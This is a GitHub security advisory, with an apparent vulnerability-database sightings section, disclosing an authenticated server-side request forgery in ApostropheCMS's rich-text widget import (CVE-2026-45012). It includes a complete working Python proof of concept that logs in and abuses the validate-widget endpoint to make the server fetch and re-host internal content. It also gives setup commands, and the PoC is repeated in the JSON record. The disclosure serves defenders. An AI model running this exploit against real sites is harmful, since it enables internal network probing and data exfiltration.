GHSA-PR28-MF3Q-QPG6
Vulnerability from github – Published: 2026-05-14 18:26 – Updated: 2026-06-12 22:02Summary
ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.
Details
The vulnerable flow is in the rich-text widget sanitizer:
- packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js
- packages/apostrophe/modules/@apostrophecms/area/index.js
- packages/apostrophe/modules/@apostrophecms/widget-type/index.js
Relevant behavior:
1. The backend accepts a widget payload containing import.html.
2. It parses <img src=...> values from that HTML.
3. For each image, it resolves the URL with:
- new URL(src, input.import.baseUrl || self.apos.baseUrl)
4. It then performs a server-side fetch(url).
5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic.
This is reachable during widget validation through:
- POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft
PoC
- Start a local HTTP server with a valid PNG:
mkdir -p /tmp/apos-poc
base64 -d > /tmp/apos-poc/secret.png <<'EOF'
iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII=
EOF
cd /tmp/apos-poc && python3 -m http.server 7777 --bind 127.0.0.1
- Run the following Python PoC:
#!/usr/bin/env python3
import argparse
import json
import sys
from urllib.parse import urljoin
import requests
def login(base_url: str, username: str, password: str) -> str:
url = urljoin(base_url, "/api/v1/@apostrophecms/login/login")
r = requests.post(
url,
json={
"username": username,
"password": password
},
timeout=20
)
r.raise_for_status()
data = r.json()
token = data.get("token")
if not token:
raise RuntimeError(f"Login succeeded but no token was returned: {data}")
return token
def trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict:
url = urljoin(
base_url,
"/api/v1/@apostrophecms/area/validate-widget?aposMode=draft"
)
payload = {
"areaFieldId": area_field_id,
"type": "@apostrophecms/rich-text",
"widget": {
"type": "@apostrophecms/rich-text",
"content": "<p>seed</p>",
"import": {
"html": f'<img src="{target_url}">',
"baseUrl": target_url.rsplit("/", 1)[0] if "/" in target_url else target_url
}
}
}
r = requests.post(
url,
headers={
"Authorization": f"Bearer {token}",
"Accept": "application/json"
},
json=payload,
timeout=30
)
r.raise_for_status()
return r.json()
def main() -> int:
parser = argparse.ArgumentParser(
description="Authenticated ApostropheCMS SSRF PoC via rich-text widget import."
)
parser.add_argument("--base-url", default="http://127.0.0.1:3000")
parser.add_argument("--username", default="admin")
parser.add_argument("--password", default="admin123")
parser.add_argument("--area-field-id", default="cd4f89f5b834d0036f3867f1507a8add")
parser.add_argument("--target-url", default="http://127.0.0.1:7777/secret.png")
parser.add_argument(
"--fetch-image",
action="store_true",
help="Fetch the generated Apostrophe image URL after exploitation."
)
args = parser.parse_args()
try:
token = login(args.base_url, args.username, args.password)
result = trigger(args.base_url, token, args.area_field_id, args.target_url)
except Exception as exc:
print(f"[!] Exploit failed: {exc}", file=sys.stderr)
return 1
print("[+] Login OK")
print(f"[+] Bearer token: {token}")
print("[+] Exploit response:")
print(json.dumps(result, indent=2))
widget = result.get("widget") or {}
image_ids = widget.get("imageIds") or []
if not image_ids:
print("[-] No imageIds returned. Target may have been fetched but not persisted as an image.")
return 0
image_id = image_ids[0]
image_path = f"/api/v1/@apostrophecms/image/{image_id}/src"
image_url = urljoin(args.base_url, image_path)
print(f"[+] Generated image id: {image_id}")
print(f"[+] Generated image URL: {image_url}")
if args.fetch_image:
r = requests.get(image_url, allow_redirects=True, timeout=30)
print(f"[+] Final fetch status: {r.status_code}")
print(f"[+] Final URL: {r.url}")
print(f"[+] Retrieved bytes: {len(r.content)}")
return 0
if __name__ == "__main__":
raise SystemExit(main())
- Example usage:
python3 poc.py \
--base-url http://127.0.0.1:3000 \
--username admin \
--password admin123 \
--area-field-id cd4f89f5b834d0036f3867f1507a8add \
--target-url http://127.0.0.1:7777/secret.png \
--fetch-image
- Expected result:
- The local listener receives: GET /secret.png HTTP/1.1
- The API response includes a rewritten Apostrophe image URL and imageIds.
- The generated image URL can then be fetched through the application.
Additional note:
- If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration.
Impact
An authenticated user with permission to submit or edit rich-text widget content can: - trigger server-side requests to internal services (127.0.0.1, private subnets, etc.) - perform blind or semi-blind internal port and service discovery - exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "apostrophe"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45012"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T18:26:45Z",
"nvd_published_at": "2026-06-12T21:16:22Z",
"severity": "HIGH"
},
"details": "### Summary\nApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.\n\n### Details\n The vulnerable flow is in the rich-text widget sanitizer:\n - `packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js`\n - `packages/apostrophe/modules/@apostrophecms/area/index.js`\n - `packages/apostrophe/modules/@apostrophecms/widget-type/index.js`\n\nRelevant behavior:\n 1. The backend accepts a widget payload containing `import.html`.\n 2. It parses `\u003cimg src=...\u003e` values from that HTML.\n 3. For each image, it resolves the URL with:\n - `new URL(src, input.import.baseUrl || self.apos.baseUrl)`\n 4. It then performs a server-side `fetch(url)`.\n 5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic.\n\n This is reachable during widget validation through:\n - `POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft`\n\n\n### PoC\n 1. Start a local HTTP server with a valid PNG:\n```bash\n mkdir -p /tmp/apos-poc\n base64 -d \u003e /tmp/apos-poc/secret.png \u003c\u003c\u0027EOF\u0027\n iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII=\n EOF\n cd /tmp/apos-poc \u0026\u0026 python3 -m http.server 7777 --bind 127.0.0.1\n```\n2. Run the following Python PoC:\n```python\n#!/usr/bin/env python3\nimport argparse\nimport json\nimport sys\nfrom urllib.parse import urljoin\n\nimport requests\n\n\ndef login(base_url: str, username: str, password: str) -\u003e str:\n url = urljoin(base_url, \"/api/v1/@apostrophecms/login/login\")\n r = requests.post(\n url,\n json={\n \"username\": username,\n \"password\": password\n },\n timeout=20\n )\n r.raise_for_status()\n data = r.json()\n token = data.get(\"token\")\n if not token:\n raise RuntimeError(f\"Login succeeded but no token was returned: {data}\")\n return token\n\n\ndef trigger(base_url: str, token: str, area_field_id: str, target_url: str) -\u003e dict:\n url = urljoin(\n base_url,\n \"/api/v1/@apostrophecms/area/validate-widget?aposMode=draft\"\n )\n payload = {\n \"areaFieldId\": area_field_id,\n \"type\": \"@apostrophecms/rich-text\",\n \"widget\": {\n \"type\": \"@apostrophecms/rich-text\",\n \"content\": \"\u003cp\u003eseed\u003c/p\u003e\",\n \"import\": {\n \"html\": f\u0027\u003cimg src=\"{target_url}\"\u003e\u0027,\n \"baseUrl\": target_url.rsplit(\"/\", 1)[0] if \"/\" in target_url else target_url\n }\n }\n }\n r = requests.post(\n url,\n headers={\n \"Authorization\": f\"Bearer {token}\",\n \"Accept\": \"application/json\"\n },\n json=payload,\n timeout=30\n )\n r.raise_for_status()\n return r.json()\n\n\ndef main() -\u003e int:\n parser = argparse.ArgumentParser(\n description=\"Authenticated ApostropheCMS SSRF PoC via rich-text widget import.\"\n )\n parser.add_argument(\"--base-url\", default=\"http://127.0.0.1:3000\")\n parser.add_argument(\"--username\", default=\"admin\")\n parser.add_argument(\"--password\", default=\"admin123\")\n parser.add_argument(\"--area-field-id\", default=\"cd4f89f5b834d0036f3867f1507a8add\")\n parser.add_argument(\"--target-url\", default=\"http://127.0.0.1:7777/secret.png\")\n parser.add_argument(\n \"--fetch-image\",\n action=\"store_true\",\n help=\"Fetch the generated Apostrophe image URL after exploitation.\"\n )\n args = parser.parse_args()\n\n try:\n token = login(args.base_url, args.username, args.password)\n result = trigger(args.base_url, token, args.area_field_id, args.target_url)\n except Exception as exc:\n print(f\"[!] Exploit failed: {exc}\", file=sys.stderr)\n return 1\n\n print(\"[+] Login OK\")\n print(f\"[+] Bearer token: {token}\")\n print(\"[+] Exploit response:\")\n print(json.dumps(result, indent=2))\n\n widget = result.get(\"widget\") or {}\n image_ids = widget.get(\"imageIds\") or []\n if not image_ids:\n print(\"[-] No imageIds returned. Target may have been fetched but not persisted as an image.\")\n return 0\n\n image_id = image_ids[0]\n image_path = f\"/api/v1/@apostrophecms/image/{image_id}/src\"\n image_url = urljoin(args.base_url, image_path)\n print(f\"[+] Generated image id: {image_id}\")\n print(f\"[+] Generated image URL: {image_url}\")\n\n if args.fetch_image:\n r = requests.get(image_url, allow_redirects=True, timeout=30)\n print(f\"[+] Final fetch status: {r.status_code}\")\n print(f\"[+] Final URL: {r.url}\")\n print(f\"[+] Retrieved bytes: {len(r.content)}\")\n\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n3. Example usage:\n```bash\n python3 poc.py \\\n --base-url http://127.0.0.1:3000 \\\n --username admin \\\n --password admin123 \\\n --area-field-id cd4f89f5b834d0036f3867f1507a8add \\\n --target-url http://127.0.0.1:7777/secret.png \\\n --fetch-image\n```\n 4. Expected result:\n - The local listener receives:\n GET /secret.png HTTP/1.1\n - The API response includes a rewritten Apostrophe image URL and imageIds.\n - The generated image URL can then be fetched through the application.\n\nAdditional note:\n\n - If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration.\n\n### Impact\nAn authenticated user with permission to submit or edit rich-text widget content can:\n - trigger server-side requests to internal services (127.0.0.1, private subnets, etc.)\n - perform blind or semi-blind internal port and service discovery\n - exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content",
"id": "GHSA-pr28-mf3q-qpg6",
"modified": "2026-06-12T22:02:09Z",
"published": "2026-05-14T18:26:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-pr28-mf3q-qpg6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45012"
},
{
"type": "PACKAGE",
"url": "https://github.com/apostrophecms/apostrophe"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.